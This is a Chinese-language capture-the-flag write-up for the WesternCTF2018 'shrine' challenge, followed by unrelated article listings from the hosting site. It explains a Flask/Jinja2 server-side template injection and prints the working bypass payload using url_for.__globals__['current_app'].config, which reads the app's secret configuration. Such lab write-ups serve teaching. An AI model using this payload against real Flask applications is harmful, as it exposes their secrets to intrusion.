[WesternCTF2018]shrine-学习笔记
前置知识什么是 SSTI什么是 Jinja2 模板正文一、HTML代码审计二、Jinja2 过滤规则分析三、Jinja2 中通过 current_app 获取 Flag前置知识什么是 SSTISSTIServer-Side Template Injection服务端模板注入是指用户输入被直接拼接到模板中执行。网站后台Flask 默认使用 Jinja2 模板引擎模板语法用{{ }}包裹表达式。如果用户可控的输入被直接传给render_template_string()渲染就存在 SSTI 漏洞。什么是 Jinja2 模板Jinja2 是 Python 的模板引擎在网站后台Flask 中用于生成 HTML。常见的语法{{ expression }}— 输出表达式的值{% statement %}— 执行控制语句如 if、for、set|filter— 对值应用过滤器正文一、HTML代码审计访问主页CTRLU会输出应用源码# # 1. 导入模块# importflask# Flask 核心框架用于构建 Web 应用importos# 操作系统接口模块用于读取环境变量# # 2. 创建 Flask 应用实例# appflask.Flask(__name__)# __name__ 是当前模块名Flask 用它来定位资源# 创建了一个名为 app 的 Flask 应用对象# # 3. 存储 Flag核心目标# app.config[FLAG]os.environ.pop(FLAG)# os.environ 是一个字典包含进程的所有环境变量# os.environ.pop(FLAG) 从环境变量中取出 FLAG 值并从字典中删除# 这样做是为了防止通过 /proc/self/environ 等方式泄露# 最终 Flag 被安全地存储在 Flask app 的 config 字典中# # 4. 路由首页显示源码# app.route(/)# 注册路由当访问根路径 / 时触发defindex():returnopen(__file__).read()# __file__ 是当前 Python 文件的路径# open(__file__).read() 读取当前文件的全部内容并返回# 这是一个提示型设计让攻击者直接看到源码# # 5. 路由SSTI 漏洞入口核心攻击面# app.route(/shrine/path:shrine)# path:shrine 是 Flask 的路径转换器# path 类型会捕获 URL 中 /shrine/ 后面的所有内容包括斜杠# 例如/shrine/{{7*7}} → shrine 参数值为 {{7*7}}# /shrine/a/b/c → shrine 参数值为 a/b/cdefshrine(shrine):# shrine 函数接收用户输入作为参数defsafe_jinja(s):# 定义一个安全检查函数实际上不安全ss.replace((,).replace(),)# 将用户输入中的括号全部移除# 目的阻止函数调用如 {{config}} → 不能调用 config()# 绕过思路用 [] 下标访问代替函数调用blacklist[config,self]# 黑名单禁止使用 config 和 self 这两个变量名return.join([{% set {}None%}.format(c)forcinblacklist])s# 这段代码很精巧它会在用户输入前面拼接 Jinja2 的 set 语句# 拼接后实际变成{% set configNone%}{% set selfNone%} 用户输入# 目的把 config 和 self 这两个模板变量强行设为空值# 绕过思路用 app.config属性访问代替 config变量访问returnflask.render_template_string(safe_jinja(shrine))# 这是漏洞的核心# safe_jinja() 处理后的用户输入被直接传给 render_template_string()# render_template_string() 会将字符串作为 Jinja2 模板来渲染# 如果用户输入了 {{ }} 包裹的内容就会被 Jinja2 引擎执行# 这就是 SSTI服务端模板注入漏洞# # 6. 程序入口# if__name____main__:# 当脚本直接运行时而非被 import启动 Flask 开发服务器app.run(debugTrue)# debugTrue 开启调试模式出错时显示详细信息监听默认端口 5000二、Jinja2 过滤规则分析过滤项作用绕过方式(和)被替换为空禁止调用函数如__subclasses__()用[]下标访问字典、用.访问属性{% set configNone%}将模板变量config设为 None用app.config访问 Python 属性不受变量遮蔽影响{% set selfNone%}将模板变量self设为 None不用self即可关键理解{% set configNone%}只是把 Jinja2 模板变量config设为空但app.config是通过 Python 属性访问app对象下的config属性两者完全不同所以不受影响。所以可以得出SSTI 漏洞的触发链用户请求: GET /shrine/{{7*7}}↓ Flask 路由匹配: shrine 参数{{7*7}}↓ safe_jinja({{7*7}})→{% set configNone%}{% set selfNone%}{{7*7}}↓ render_template_string()将字符串作为 Jinja2 模板执行 ↓ Jinja2 引擎解析{{7*7}}→ 计算7*7 → 输出49↓ HTTP 响应返回49所以就可以得出攻击思路目标读取 app.config[FLAG]│ ├─ 路径1:{{config}}→ ❌ 被{%setconfigNone%}过滤 │ ├─ 路径2:{{app.config}}→ ❌ app 不在 Jinja2 全局变量中 │ ❌ 括号被过滤 └─ 路径3:{{url_for.__globals__[current_app].config}}✅ 成功用[]代替()用 url_for 间接访问 Flask 全局Python函数有一个__globals__属性返回该函数所在模块的全局变量字典GET /shrine/{{url_for.__globals__}} HTTP/1.1响应返回了大量 Flask 内部变量其中包含current_app: Flask app— 当前 Flask 应用对象session: NullSession {}— Session 对象等等三、Jinja2 中通过current_app获取 FlagFlask 应用中配置信息存储在app.config字典中。我们可以用[]下标操作访问__globals__字典中的current_app注意()被过滤了但[]不受影响GET/shrine/{{url_for.__globals__[current_app].config}}HTTP/1.1URL 编码后/shrine/{{url_for.__globals__%5b%22current_app%22%5d.config}}响应的关键部分CTF2{30503f82-2e5d-4bfe-969c-7d4a29a9e6e2}

相关新闻

时间序列反事实必要性分析:从特征相关到因果推断的实践指南

时间序列反事实必要性分析:从特征相关到因果推断的实践指南

时间序列分析里最让人头疼的,不是模型调参,而是当你拿着预测结果去汇报时,被问“为什么是这个结果”。传统方法告诉你哪些特征重要,但很少能说清楚:如果某个特征没出现,结果会不会不一样?最近遇…

2026/7/28 14:13:48 阅读更多 →
a Tribute Page

a Tribute Page

第一个web页面练手:test1 1.bootstrap框架的.container 和container-fluid 类的区别,参照2 2.jumbotron 3.text-center、引用(Blockquote) 4.深入理解BootStrap Item13 -- 缩略图(thumbnail)与警示窗&a…

2026/7/28 14:12:48 阅读更多 →
MySQL的调控按钮 —— 启动选项和系统变量

MySQL的调控按钮 —— 启动选项和系统变量

启动选项和配置文件 标签: MySQL 是怎样运行的如果你用过手机,你的手机上一定有一个设置的功能,你可以选择设置手机的来电铃声、设置音量大小、设置解锁密码等等。假如没有这些设置功能,我们的生活将置于尴尬的境地,比…

2026/7/28 14:12:48 阅读更多 →

最新新闻

ComfyUI-WanVideoWrapper:AI视频生成的终极完整教程

ComfyUI-WanVideoWrapper:AI视频生成的终极完整教程

ComfyUI-WanVideoWrapper:AI视频生成的终极完整教程 【免费下载链接】ComfyUI-WanVideoWrapper 项目地址: https://gitcode.com/GitHub_Trending/co/ComfyUI-WanVideoWrapper ComfyUI-WanVideoWrapper是一款强大的ComfyUI自定义节点扩展,专为Wan…

2026/7/28 14:21:11 阅读更多 →
多智能体集群调度工业落地技术:2026产业原生应用演进与全栈架构解析

多智能体集群调度工业落地技术:2026产业原生应用演进与全栈架构解析

在2026年全球人工智能技术演进的宏大背景下,多智能体集群调度(Multi-Agent Cluster Scheduling)正经历从实验室理论研究向工业原生应用的质变。随着2026世界人工智能大会(WAIC)的闭幕以及工信部《关于推动工业互联网高…

2026/7/28 14:21:11 阅读更多 →
量子意识实验:探索观测者效应与量子态控制

量子意识实验:探索观测者效应与量子态控制

1. 项目背景与核心目标 这个实验方案试图探索量子力学中最前沿的两个概念:意识与量子系统的潜在关联,以及如何在封闭量子力场内实现信息流的精确控制。听起来像是科幻小说里的情节?但实际上,这是当前量子物理实验研究中最具挑战性…

2026/7/28 14:21:11 阅读更多 →
计算机毕业设计之基于SpringBoot的方言识别平台的设计

计算机毕业设计之基于SpringBoot的方言识别平台的设计

本文着重研究了一个基于springboot 的方言识别平台的设计的开发与实践。文中首先探讨了方言识别平台的设计的关键作用及其在可持续发展方面的重要性,进而论述了采用 VUE框架进行平台开发的理由。文章接着详细介绍了 JAVA语言的优势并讨论了为什么选择 springboot框架…

2026/7/28 14:21:11 阅读更多 →
Unity工厂方法模式实战:从对象创建到Addressables资源管理

Unity工厂方法模式实战:从对象创建到Addressables资源管理

1. 项目概述:为什么要在Unity里聊工厂方法模式?如果你在Unity里写过几个稍微复杂点的脚本,尤其是涉及到需要动态创建不同种类的敌人、道具、UI弹窗或者特效时,大概率会遇到一个头疼的问题:new Enemy()、new Item()、ne…

2026/7/28 14:21:11 阅读更多 →
现金流量表怎么看?经营、投资、筹资三类现金一次讲清

现金流量表怎么看?经营、投资、筹资三类现金一次讲清

很多人看企业经营情况,第一反应是看收入和利润。收入增长,说明业务规模扩大;利润增加,说明账面上赚得更多。但现实中,有些企业利润连续增长,账户里的现金却越来越少;有些企业短期亏损&#xff0…

2026/7/28 14:19:50 阅读更多 →

日新闻

告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿!3步让你的暗影精灵笔记本重获新生 【免费下载链接】OmenSuperHub Control Omen laptop performance, fan speeds, and keyboard lighting, and unlock power limits. 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub 你是否也曾为官方Om…

2026/7/28 0:00:43 阅读更多 →
RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

做 RAG 的人应该都踩过这个致命的坑:把几百页的财报、法规、技术手册扔给向量库,问一个具体问题,搜出来的全是沾边但没用的内容 —— 关键信息要么被硬切块拆碎了,要么藏在几十条结果的最下面。语义相似≠真正相关,这个…

2026/7/28 0:00:43 阅读更多 →
抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

2026年做短视频运营,从抖音上扒文案早就不是偷偷抄笔记的事了。我刚开始做内容的时候,每天刷半小时抖音,手动把爆款视频的口播敲进备忘录,一条2分钟的视频得花十来分钟,碰到语速快的还要反复回听。后来试了一圈工具&am…

2026/7/28 0:00:43 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/28 12:04:22 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/28 8:29:16 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/28 5:03:42 阅读更多 →

月新闻